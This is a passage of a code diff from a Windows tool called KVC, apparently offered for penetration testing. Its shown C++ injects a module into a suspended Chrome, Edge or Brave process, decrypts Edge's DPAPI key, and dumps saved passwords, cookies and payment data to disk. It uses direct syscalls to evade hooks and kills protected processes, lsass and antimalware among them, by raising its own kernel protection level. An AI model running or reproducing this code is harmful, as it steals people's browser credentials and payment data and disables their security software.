else if (arg == L"--help" || arg == L"-h")
|
||||
{
|
||||
BrowserHelp::PrintUsage(L"kvc_pass.exe");
|
||||
return std::nullopt;
|
||||
}
|
||||
else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-')
|
||||
config.browserType = arg;
|
||||
else
|
||||
{
|
||||
console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg));
|
||||
return std::nullopt;
|
||||
}
|
||||
}
|
||||
|
||||
if (config.browserType.empty())
|
||||
{
|
||||
BrowserHelp::PrintUsage(L"kvc_pass.exe");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
std::transform(config.browserType.begin(), config.browserType.end(),
|
||||
config.browserType.begin(), ::towlower);
|
||||
|
||||
static const std::map<std::wstring, std::wstring> browserExeMap = {
|
||||
{L"chrome", L"chrome.exe"},
|
||||
{L"brave", L"brave.exe"},
|
||||
{L"edge", L"msedge.exe"}
|
||||
};
|
||||
|
||||
auto it = browserExeMap.find(config.browserType);
|
||||
if (it == browserExeMap.end())
|
||||
{
|
||||
console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType));
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
config.browserProcessName = it->second;
|
||||
|
||||
BrowserPathResolver resolver(console);
|
||||
config.browserDefaultExePath = resolver.resolve(config.browserProcessName);
|
||||
|
||||
if (config.browserDefaultExePath.empty())
|
||||
{
|
||||
console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) +
|
||||
" installation in Registry");
|
||||
console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) +
|
||||
" is properly installed");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType));
|
||||
config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" :
|
||||
fs::absolute(customOutputPath);
|
||||
|
||||
return config;
|
||||
}
|
||||
|
||||
// Orchestrates complete injection workflow: cleanup, injection, execution, termination
|
||||
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console)
|
||||
{
|
||||
std::vector<uint8_t> edgeDpapiKey;
|
||||
|
||||
// Edge-specific: Extract DPAPI key in orchestrator before process creation
|
||||
if (config.browserType == L"edge")
|
||||
{
|
||||
// Try multiple possible Edge installation paths
|
||||
std::vector<fs::path> possiblePaths = {
|
||||
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge" / "User Data" / "Local State",
|
||||
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Beta" / "User Data" / "Local State",
|
||||
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Dev" / "User Data" / "Local State"
|
||||
};
|
||||
|
||||
for (const auto& edgeLocalState : possiblePaths)
|
||||
{
|
||||
if (fs::exists(edgeLocalState))
|
||||
{
|
||||
edgeDpapiKey = DecryptEdgePasswordKeyWithDPAPI(edgeLocalState, console);
|
||||
|
||||
if (!edgeDpapiKey.empty())
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (edgeDpapiKey.empty())
|
||||
{
|
||||
console.Warn("Could not extract Edge DPAPI key - passwords may not be available");
|
||||
}
|
||||
}
|
||||
|
||||
// Terminate processes holding database locks
|
||||
KillBrowserNetworkService(config, console);
|
||||
KillBrowserProcesses(config, console);
|
||||
|
||||
// Create suspended target process
|
||||
TargetProcess target(config, console);
|
||||
target.createSuspended();
|
||||
|
||||
// Establish named pipe communication
|
||||
PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console);
|
||||
pipe.create();
|
||||
|
||||
// Inject security module and create remote thread
|
||||
InjectionManager injector(target, console);
|
||||
injector.execute(pipe.getName());
|
||||
|
||||
// Wait for module connection and send configuration
|
||||
pipe.waitForClient();
|
||||
pipe.sendInitialData(config.verbose, config.outputPath, edgeDpapiKey);
|
||||
pipe.relayMessages();
|
||||
|
||||
// Cleanup
|
||||
target.terminate();
|
||||
|
||||
return pipe.getStats();
|
||||
}
|
||||
|
||||
// Processes all installed browsers sequentially
|
||||
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath)
|
||||
{
|
||||
if (verbose)
|
||||
console.Info("Starting multi-browser security analysis...");
|
||||
|
||||
BrowserPathResolver resolver(console);
|
||||
auto installedBrowsers = resolver.findAllInstalledBrowsers();
|
||||
|
||||
if (installedBrowsers.empty())
|
||||
{
|
||||
console.Error("No supported browsers found on this system");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!verbose)
|
||||
console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n");
|
||||
|
||||
int successCount = 0;
|
||||
int failCount = 0;
|
||||
|
||||
for (size_t i = 0; i < installedBrowsers.size(); ++i)
|
||||
{
|
||||
const auto& [browserType, browserPath] = installedBrowsers[i];
|
||||
|
||||
Configuration config;
|
||||
config.verbose = verbose;
|
||||
config.outputPath = outputPath;
|
||||
config.browserType = browserType;
|
||||
config.browserDefaultExePath = browserPath;
|
||||
|
||||
static const std::map<std::wstring, std::pair<std::wstring, std::string>> browserMap = {
|
||||
{L"chrome", {L"chrome.exe", "Chrome"}},
|
||||
{L"edge", {L"msedge.exe", "Edge"}},
|
||||
{L"brave", {L"brave.exe", "Brave"}}
|
||||
};
|
||||
|
||||
auto it = browserMap.find(browserType);
|
||||
if (it != browserMap.end())
|
||||
{
|
||||
config.browserProcessName = it->second.first;
|
||||
config.browserDisplayName = it->second.second;
|
||||
}
|
||||
|
||||
if (verbose)
|
||||
{
|
||||
console.Info("\n[Browser " + std::to_string(i + 1) + "/" +
|
||||
std::to_string(installedBrowsers.size()) +
|
||||
"] Processing " + config.browserDisplayName);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
auto stats = RunInjectionWorkflow(config, console);
|
||||
successCount++;
|
||||
|
||||
if (verbose)
|
||||
{
|
||||
console.Success(config.browserDisplayName + " analysis completed");
|
||||
}
|
||||
else
|
||||
{
|
||||
DisplayExtractionSummary(config.browserDisplayName, stats, console, false,
|
||||
config.outputPath);
|
||||
if (i < installedBrowsers.size() - 1)
|
||||
std::cout << std::endl;
|
||||
}
|
||||
}
|
||||
catch (const std::exception& e)
|
||||
{
|
||||
failCount++;
|
||||
|
||||
if (verbose)
|
||||
{
|
||||
console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what()));
|
||||
}
|
||||
else
|
||||
{
|
||||
console.Info(config.browserDisplayName);
|
||||
console.Error("Analysis failed");
|
||||
if (i < installedBrowsers.size() - 1)
|
||||
std::cout << std::endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
std::cout << std::endl;
|
||||
console.Info("Completed: " + std::to_string(successCount) + " successful, " +
|
||||
std::to_string(failCount) + " failed");
|
||||
}
|
||||
|
||||
// Displays formatted extraction summary with statistics
|
||||
void DisplayExtractionSummary(const std::string& browserName,
|
||||
const PipeCommunicator::ExtractionStats& stats,
|
||||
const Console& console, bool singleBrowser,
|
||||
const fs::path& outputPath)
|
||||
{
|
||||
if (singleBrowser)
|
||||
{
|
||||
if (!stats.aesKey.empty())
|
||||
console.Success("AES Key: " + stats.aesKey);
|
||||
|
||||
std::string summary = BuildExtractionSummary(stats);
|
||||
if (!summary.empty())
|
||||
{
|
||||
console.Success(summary);
|
||||
console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
|
||||
}
|
||||
else
|
||||
{
|
||||
console.Warn("No data extracted");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
console.Info(browserName);
|
||||
|
||||
if (!stats.aesKey.empty())
|
||||
console.Success("AES Key: " + stats.aesKey);
|
||||
|
||||
std::string summary = BuildExtractionSummary(stats);
|
||||
if (!summary.empty())
|
||||
{
|
||||
console.Success(summary);
|
||||
console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
|
||||
}
|
||||
else
|
||||
{
|
||||
console.Warn("No data extracted");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Builds human-readable summary from extraction statistics
|
||||
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats)
|
||||
{
|
||||
std::stringstream summary;
|
||||
std::vector<std::string> items;
|
||||
|
||||
if (stats.totalCookies > 0)
|
||||
items.push_back(std::to_string(stats.totalCookies) + " cookies");
|
||||
if (stats.totalPasswords > 0)
|
||||
items.push_back(std::to_string(stats.totalPasswords) + " passwords");
|
||||
if (stats.totalPayments > 0)
|
||||
items.push_back(std::to_string(stats.totalPayments) + " payments");
|
||||
|
||||
if (!items.empty())
|
||||
{
|
||||
summary << "Extracted ";
|
||||
for (size_t i = 0; i < items.size(); ++i)
|
||||
{
|
||||
if (i > 0 && i == items.size() - 1)
|
||||
summary << " and ";
|
||||
else if (i > 0)
|
||||
summary << ", ";
|
||||
summary << items[i];
|
||||
}
|
||||
summary << " from " << stats.profileCount << " profile"
|
||||
<< (stats.profileCount != 1 ? "s" : "");
|
||||
}
|
||||
|
||||
return summary.str();
|
||||
}
|
||||
|
||||
// Application entry point
|
||||
int wmain(int argc, wchar_t* argv[])
|
||||
{
|
||||
bool isVerbose = false;
|
||||
std::wstring browserTarget;
|
||||
fs::path outputPath;
|
||||
|
||||
// Locate security module in current directory or System32
|
||||
auto findSecurityModule = []() -> std::string {
|
||||
if (fs::exists(SECURITY_MODULE_NAME))
|
||||
return SECURITY_MODULE_NAME;
|
||||
|
||||
wchar_t systemDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
|
||||
std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME;
|
||||
if (fs::exists(systemPath))
|
||||
return systemPath;
|
||||
}
|
||||
|
||||
return "";
|
||||
};
|
||||
|
||||
g_securityModulePath = findSecurityModule();
|
||||
if (g_securityModulePath.empty())
|
||||
{
|
||||
std::wcerr << L"Error: " << SECURITY_MODULE_NAME
|
||||
<< L" not found in current directory or System32!" << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Quick argument parsing for early options
|
||||
for (int i = 1; i < argc; ++i)
|
||||
{
|
||||
std::wstring_view arg = argv[i];
|
||||
if (arg == L"--verbose" || arg == L"-v")
|
||||
isVerbose = true;
|
||||
else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
|
||||
outputPath = argv[++i];
|
||||
if (arg == L"--help" || arg == L"-h")
|
||||
{
|
||||
BrowserHelp::PrintUsage(L"kvc_pass.exe");
|
||||
return 0;
|
||||
}
|
||||
else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-')
|
||||
browserTarget = arg;
|
||||
}
|
||||
|
||||
Console console(isVerbose);
|
||||
Banner::PrintHeader();
|
||||
|
||||
// Verify SQLite library availability
|
||||
if (!CheckWinSQLite3Available())
|
||||
{
|
||||
console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll");
|
||||
if (!fs::exists("sqlite3.dll"))
|
||||
{
|
||||
console.Error("Neither winsqlite3.dll nor sqlite3.dll available");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (browserTarget.empty())
|
||||
{
|
||||
BrowserHelp::PrintUsage(L"kvc_pass.exe");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Initialize direct syscalls
|
||||
if (!InitializeSyscalls(isVerbose))
|
||||
{
|
||||
console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked.");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Ensure output directory exists
|
||||
if (outputPath.empty())
|
||||
outputPath = fs::current_path() / "output";
|
||||
|
||||
std::error_code ec;
|
||||
if (!fs::exists(outputPath)) {
|
||||
fs::create_directories(outputPath, ec);
|
||||
if (ec) {
|
||||
console.Error("Failed to create output directory: " +
|
||||
Utils::path_to_api_string(outputPath) + ". Error: " + ec.message());
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
// Process browser(s)
|
||||
if (browserTarget == L"all")
|
||||
{
|
||||
try
|
||||
{
|
||||
ProcessAllBrowsers(console, isVerbose, outputPath);
|
||||
}
|
||||
catch (const std::exception& e)
|
||||
{
|
||||
console.Error(e.what());
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
auto optConfig = Configuration::CreateFromArgs(argc, argv, console);
|
||||
if (!optConfig)
|
||||
return 1;
|
||||
|
||||
try
|
||||
{
|
||||
if (!isVerbose)
|
||||
console.Info("Processing " + optConfig->browserDisplayName + "...\n");
|
||||
|
||||
auto stats = RunInjectionWorkflow(*optConfig, console);
|
||||
|
||||
if (!isVerbose)
|
||||
DisplayExtractionSummary(optConfig->browserDisplayName, stats, console, true,
|
||||
optConfig->outputPath);
|
||||
else
|
||||
console.Success("\nSecurity analysis completed successfully");
|
||||
}
|
||||
catch (const std::runtime_error& e)
|
||||
{
|
||||
console.Error(e.what());
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
console.Debug("Security orchestrator finished successfully.");
|
||||
Banner::PrintFooter();
|
||||
return 0;
|
||||
}
|
||||
41
kvc/OrchestratorCore.h
Normal file
41
kvc/OrchestratorCore.h
Normal file
@@ -0,0 +1,41 @@
|
||||
// OrchestratorCore.h - Main orchestration logic and configuration management
|
||||
#ifndef ORCHESTRATOR_CORE_H
|
||||
#define ORCHESTRATOR_CORE_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <filesystem>
|
||||
#include <optional>
|
||||
#include <string>
|
||||
#include "CommunicationLayer.h"
|
||||
#include "EdgeDPAPI.h"
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Application configuration parsed from command-line arguments
|
||||
struct Configuration
|
||||
{
|
||||
bool verbose = false;
|
||||
fs::path outputPath;
|
||||
std::wstring browserType;
|
||||
std::wstring browserProcessName;
|
||||
std::wstring browserDefaultExePath;
|
||||
std::string browserDisplayName;
|
||||
|
||||
// Parses command line arguments and builds configuration
|
||||
static std::optional<Configuration> CreateFromArgs(int argc, wchar_t* argv[], const Console& console);
|
||||
};
|
||||
|
||||
// Executes the complete browser analysis workflow
|
||||
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console);
|
||||
|
||||
// Processes all installed browsers in batch mode
|
||||
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath);
|
||||
|
||||
// Displays final extraction summary for a single browser
|
||||
void DisplayExtractionSummary(const std::string& browserName, const PipeCommunicator::ExtractionStats& stats,
|
||||
const Console& console, bool singleBrowser, const fs::path& outputPath);
|
||||
|
||||
// Builds a human-readable summary string from extraction statistics
|
||||
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats);
|
||||
|
||||
#endif // ORCHESTRATOR_CORE_H
|
||||
277
kvc/ProcessManager.cpp
Normal file
277
kvc/ProcessManager.cpp
Normal file
@@ -0,0 +1,277 @@
|
||||
// ProcessManager.cpp
|
||||
#include "ProcessManager.h"
|
||||
#include "Controller.h"
|
||||
#include "Utils.h"
|
||||
#include <cwctype>
|
||||
#include <sstream>
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <TlHelp32.h>
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
|
||||
extern volatile bool g_interrupted;
|
||||
|
||||
// Helper function to check if string contains only digits (PID)
|
||||
bool ProcessManager::IsNumericPid(std::wstring_view input) noexcept {
|
||||
if (input.empty()) return false;
|
||||
return std::all_of(input.begin(), input.end(), [](wchar_t c) { return iswdigit(c); });
|
||||
}
|
||||
|
||||
// Find process PIDs by name using Windows toolhelp API
|
||||
std::vector<DWORD> ProcessManager::FindProcessIdsByName(const std::wstring& processName) noexcept {
|
||||
std::vector<DWORD> pids;
|
||||
|
||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot == INVALID_HANDLE_VALUE) {
|
||||
return pids;
|
||||
}
|
||||
|
||||
PROCESSENTRY32W pe;
|
||||
pe.dwSize = sizeof(PROCESSENTRY32W);
|
||||
|
||||
if (Process32FirstW(hSnapshot, &pe)) {
|
||||
do {
|
||||
std::wstring currentName = pe.szExeFile;
|
||||
|
||||
// Remove .exe extension for comparison if present
|
||||
if (currentName.size() > 4 && currentName.substr(currentName.size() - 4) == L".exe") {
|
||||
currentName = currentName.substr(0, currentName.size() - 4);
|
||||
}
|
||||
|
||||
// Case-insensitive partial match
|
||||
std::wstring lowerCurrent = currentName;
|
||||
std::wstring lowerTarget = processName;
|
||||
std::transform(lowerCurrent.begin(), lowerCurrent.end(), lowerCurrent.begin(), ::towlower);
|
||||
std::transform(lowerTarget.begin(), lowerTarget.end(), lowerTarget.begin(), ::towlower);
|
||||
|
||||
if (lowerCurrent.find(lowerTarget) != std::wstring::npos) {
|
||||
pids.push_back(pe.th32ProcessID);
|
||||
}
|
||||
|
||||
} while (Process32NextW(hSnapshot, &pe));
|
||||
}
|
||||
|
||||
CloseHandle(hSnapshot);
|
||||
return pids;
|
||||
}
|
||||
|
||||
// Terminate process with automatic protection elevation
|
||||
bool ProcessManager::TerminateProcessWithProtection(DWORD processId, Controller* controller) noexcept {
|
||||
if (!controller) {
|
||||
ERROR(L"Controller not available for protection elevation");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (g_interrupted) {
|
||||
INFO(L"Operation cancelled by user before termination");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring processName = Utils::GetProcessName(processId);
|
||||
INFO(L"Attempting to terminate process: %s (PID %d)", processName.c_str(), processId);
|
||||
|
||||
// Get target process protection level for self-elevation
|
||||
auto kernelAddr = controller->GetProcessKernelAddress(processId);
|
||||
bool needsSelfProtection = false;
|
||||
std::wstring levelStr, signerStr;
|
||||
|
||||
if (kernelAddr) {
|
||||
auto targetProtection = controller->GetProcessProtection(kernelAddr.value());
|
||||
if (targetProtection && targetProtection.value() > 0) {
|
||||
needsSelfProtection = true;
|
||||
|
||||
UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value());
|
||||
UCHAR targetSigner = Utils::GetSignerType(targetProtection.value());
|
||||
|
||||
levelStr = (targetLevel == static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL";
|
||||
|
||||
switch (static_cast<PS_PROTECTED_SIGNER>(targetSigner)) {
|
||||
case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break;
|
||||
case PS_PROTECTED_SIGNER::WinTcb: signerStr = L"WinTcb"; break;
|
||||
case PS_PROTECTED_SIGNER::WinSystem: signerStr = L"WinSystem"; break;
|
||||
case PS_PROTECTED_SIGNER::Windows: signerStr = L"Windows"; break;
|
||||
case PS_PROTECTED_SIGNER::Antimalware: signerStr = L"Antimalware"; break;
|
||||
case PS_PROTECTED_SIGNER::Authenticode: signerStr = L"Authenticode"; break;
|
||||
case PS_PROTECTED_SIGNER::CodeGen: signerStr = L"CodeGen"; break;
|
||||
case PS_PROTECTED_SIGNER::App: signerStr = L"App"; break;
|
||||
default:
|
||||
INFO(L"Unknown signer type - attempting termination without self-protection");
|
||||
needsSelfProtection = false;
|
||||
break;
|
||||
}
|
||||
|
||||
if (needsSelfProtection) {
|
||||
INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str());
|
||||
|
||||
if (!controller->SelfProtect(levelStr, signerStr)) {
|
||||
INFO(L"Self-protection elevation failed: %s-%s (attempting termination anyway)",
|
||||
levelStr.c_str(), signerStr.c_str());
|
||||
needsSelfProtection = false;
|
||||
} else {
|
||||
SUCCESS(L"Self-protection elevated to %s-%s", levelStr.c_str(), signerStr.c_str());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
INFO(L"Target process is not protected, proceeding with standard termination");
|
||||
}
|
||||
} else {
|
||||
INFO(L"Could not get kernel address for target process, proceeding without self-protection");
|
||||
}
|
||||
|
||||
if (g_interrupted) {
|
||||
INFO(L"Operation cancelled by user during protection setup");
|
||||
if (needsSelfProtection) {
|
||||
controller->SelfProtect(L"none", L"none");
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Attempt process termination
|
||||
HANDLE processHandle = OpenProcess(PROCESS_TERMINATE, FALSE, processId);
|
||||
bool success = false;
|
||||
|
||||
if (processHandle) {
|
||||
BOOL result = TerminateProcess(processHandle, 0);
|
||||
CloseHandle(processHandle);
|
||||
success = (result != FALSE);
|
||||
} else {
|
||||
DWORD error = GetLastError();
|
||||
ERROR(L"Failed to open process for termination (error: %d)", error);
|
||||
}
|
||||
|
||||
// Cleanup self-protection
|
||||
if (needsSelfProtection) {
|
||||
if (!controller->SelfProtect(L"none", L"none")) {
|
||||
ERROR(L"Failed to cleanup self-protection after termination");
|
||||
} else {
|
||||
INFO(L"Self-protection cleaned up successfully");
|
||||
}
|
||||
}
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
// Main command handler for process termination operations with protection elevation
|
||||
void ProcessManager::HandleKillCommand(int argc, wchar_t* argv[], Controller* controller) noexcept {
|
||||
if (argc < 3) {
|
||||
PrintKillUsage();
|
||||
return;
|
||||
}
|
||||
|
||||
if (!controller) {
|
||||
ERROR(L"Controller not available - cannot perform protected process termination");
|
||||
return;
|
||||
}
|
||||
|
||||
INFO(L"Starting process termination with automatic protection elevation...");
|
||||
|
||||
// NEW: Parse comma-separated targets into string vector for advanced pattern matching
|
||||
// This replaces the old PID-only parsing to support mixed PID/name patterns
|
||||
std::wstring targets = argv[2];
|
||||
std::vector<std::wstring> targetList;
|
||||
|
||||
// Split input string by comma delimiter with whitespace trimming
|
||||
std::wstring token;
|
||||
std::wstringstream ss(targets);
|
||||
while (std::getline(ss, token, L',')) {
|
||||
// Trim leading and trailing whitespace from each token
|
||||
size_t first = token.find_first_not_of(L" \t");
|
||||
if (first != std::wstring::npos) {
|
||||
size_t last = token.find_last_not_of(L" \t");
|
||||
targetList.push_back(token.substr(first, (last - first + 1)));
|
||||
}
|
||||
}
|
||||
|
||||
if (targetList.empty()) {
|
||||
ERROR(L"No valid process targets provided");
|
||||
return;
|
||||
}
|
||||
|
||||
if (g_interrupted) {
|
||||
INFO(L"Operation cancelled by user before processing");
|
||||
return;
|
||||
}
|
||||
|
||||
// NEW: Use Controller's advanced pattern matching and batch processing
|
||||
// This handles both PIDs and process name patterns with single driver session
|
||||
bool result = controller->KillMultipleTargets(targetList);
|
||||
|
||||
if (result) {
|
||||
SUCCESS(L"Batch kill operation completed successfully");
|
||||
} else {
|
||||
ERROR(L"Batch kill operation failed or partially completed");
|
||||
}
|
||||
}
|
||||
|
||||
// Parse comma-separated process ID/name list with input validation
|
||||
bool ProcessManager::ParseProcessIds(std::wstring_view pidList, std::vector<DWORD>& pids) noexcept {
|
||||
std::wstring pidStr(pidList);
|
||||
size_t pos = 0;
|
||||
size_t start = 0;
|
||||
|
||||
while (pos != std::wstring::npos) {
|
||||
pos = pidStr.find(L',', start);
|
||||
std::wstring token;
|
||||
|
||||
if (pos != std::wstring::npos) {
|
||||
token = pidStr.substr(start, pos - start);
|
||||
start = pos + 1;
|
||||
} else {
|
||||
token = pidStr.substr(start);
|
||||
}
|
||||
|
||||
// Trim leading and trailing whitespace
|
||||
size_t first = token.find_first_not_of(L" \t");
|
||||
if (first == std::wstring::npos) continue;
|
||||
|
||||
size_t last = token.find_last_not_of(L" \t");
|
||||
token = token.substr(first, (last - first + 1));
|
||||
|
||||
if (token.empty()) continue;
|
||||
|
||||
// Check if token is numeric (PID) or text (process name)
|
||||
if (IsNumericPid(token)) {
|
||||
try {
|
||||
DWORD pid = std::wcstoul(token.c_str(), nullptr, 10);
|
||||
if (pid == 0) {
|
||||
ERROR(L"Invalid PID: %s (PID cannot be 0)", token.c_str());
|
||||
continue;
|
||||
}
|
||||
pids.push_back(pid);
|
||||
}
|
||||
catch (...) {
|
||||
ERROR(L"Invalid PID format: %s", token.c_str());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
// Process name - find matching PIDs using Toolhelp32 (will be handled by Controller later)
|
||||
auto foundPids = FindProcessIdsByName(token);
|
||||
if (foundPids.empty()) {
|
||||
ERROR(L"No process found matching: %s", token.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
INFO(L"Found %zu processes matching '%s'", foundPids.size(), token.c_str());
|
||||
for (DWORD pid : foundPids) {
|
||||
pids.push_back(pid);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return !pids.empty();
|
||||
}
|
||||
|
||||
// Display command usage and examples
|
||||
void ProcessManager::PrintKillUsage() noexcept {
|
||||
std::wcout << L"Usage: kvc kill <pid1|name1>[,pid2|name2,pid3|name3,...]\n";
|
||||
std::wcout << L" Examples:\n";
|
||||
std::wcout << L" kvc kill 1234\n";
|
||||
std::wcout << L" kvc kill notepad\n";
|
||||
std::wcout << L" kvc kill total\n";
|
||||
std::wcout << L" kvc kill lsass # Protected process (auto-elevation)\n";
|
||||
std::wcout << L" kvc kill 1234,notepad,calc\n";
|
||||
std::wcout << L" kvc kill \"1234, notepad, 5678\"\n";
|
||||
std::wcout << L" Note: Automatically elevates protection level to match protected targets\n\n";
|
||||
}
|
||||
37
kvc/ProcessManager.h
Normal file
37
kvc/ProcessManager.h
Normal file
@@ -0,0 +1,37 @@
|
||||
// ProcessManager.h - Process management with protection-aware termination (PID/name targeting)
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
// Forward declaration to avoid circular includes
|
||||
class Controller;
|
||||
|
||||
// ProcessManager: static utilities for protection-aware process operations
|
||||
class ProcessManager
|
||||
{
|
||||
public:
|
||||
ProcessManager() = delete; // Static class - no instances
|
||||
~ProcessManager() = delete;
|
||||
|
||||
// Handle 'kill' command: parse args and terminate targets with protection matching
|
||||
static void HandleKillCommand(int argc, wchar_t* argv[], Controller* controller) noexcept;
|
||||
|
||||
private:
|
||||
// Parse comma-separated PID list into vector (skips invalid entries)
|
||||
static bool ParseProcessIds(std::wstring_view pidList, std::vector<DWORD>& pids) noexcept;
|
||||
|
||||
// Print usage information for kill command
|
||||
static void PrintKillUsage() noexcept;
|
||||
|
||||
// Terminate process by PID, attempting protection elevation via Controller
|
||||
static bool TerminateProcessWithProtection(DWORD processId, Controller* controller) noexcept;
|
||||
|
||||
// Return true if input is numeric PID string
|
||||
static bool IsNumericPid(std::wstring_view input) noexcept;
|
||||
|
||||
// Find all PIDs whose process name matches the given (partial, case-insensitive)
|
||||
static std::vector<DWORD> FindProcessIdsByName(const std::wstring& processName) noexcept;
|
||||
};
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "ReportExporter.h"
|
||||
#include "Controller.h"
|
||||
#include <filesystem>
|
||||
@@ -42,12 +17,8 @@ ReportData::ReportData(const std::vector<PasswordResult>& results,
|
||||
: passwordResults(results), masterKeys(keys), outputPath(path)
|
||||
{
|
||||
// Generate timestamp for report
|
||||
time_t now = time(nullptr);
|
||||
char timestampBuffer[20];
|
||||
struct tm timeInfo;
|
||||
localtime_s(&timeInfo, &now);
|
||||
strftime(timestampBuffer, sizeof(timestampBuffer), "%Y-%m-%d %H:%M:%S", &timeInfo);
|
||||
timestamp = timestampBuffer;
|
||||
std::wstring wts = TimeUtils::GetFormattedTimestamp("datetime_display");
|
||||
timestamp = StringUtils::WideToUTF8(wts);
|
||||
|
||||
CalculateStatistics();
|
||||
}
|
||||
@@ -239,8 +210,8 @@ std::string ReportExporter::BuildMasterKeysTable(const ReportData& data) noexcep
|
||||
}
|
||||
|
||||
// Convert binary data to hex strings
|
||||
std::string rawHex = BytesToHexString(masterKey.encryptedData);
|
||||
std::string processedHex = BytesToHexString(masterKey.decryptedData);
|
||||
std::string rawHex = CryptoUtils::BytesToHex(masterKey.encryptedData, 32);
|
||||
std::string processedHex = CryptoUtils::BytesToHex(masterKey.decryptedData, 32);
|
||||
|
||||
// Truncate for display if too long
|
||||
if (rawHex.length() > 64) {
|
||||
@@ -291,12 +262,12 @@ std::string ReportExporter::BuildPasswordsTable(const ReportData& data) noexcept
|
||||
std::string cssClass = result.type.find(L"Chrome") != std::wstring::npos ? "chrome" : "edge";
|
||||
|
||||
table << " <tr class=\"" << cssClass << "\">\n";
|
||||
table << " <td>" << WStringToUTF8(result.type) << "</td>\n";
|
||||
table << " <td>" << WStringToUTF8(result.profile) << "</td>\n";
|
||||
table << " <td>" << WStringToUTF8(result.url) << "</td>\n";
|
||||
table << " <td>" << WStringToUTF8(result.username) << "</td>\n";
|
||||
table << " <td class=\"password\">" << WStringToUTF8(result.password) << "</td>\n";
|
||||
table << " <td class=\"status-decrypted\">" << WStringToUTF8(result.status) << "</td>\n";
|
||||
table << " <td>" << StringUtils::WideToUTF8(result.type) << "</td>\n";
|
||||
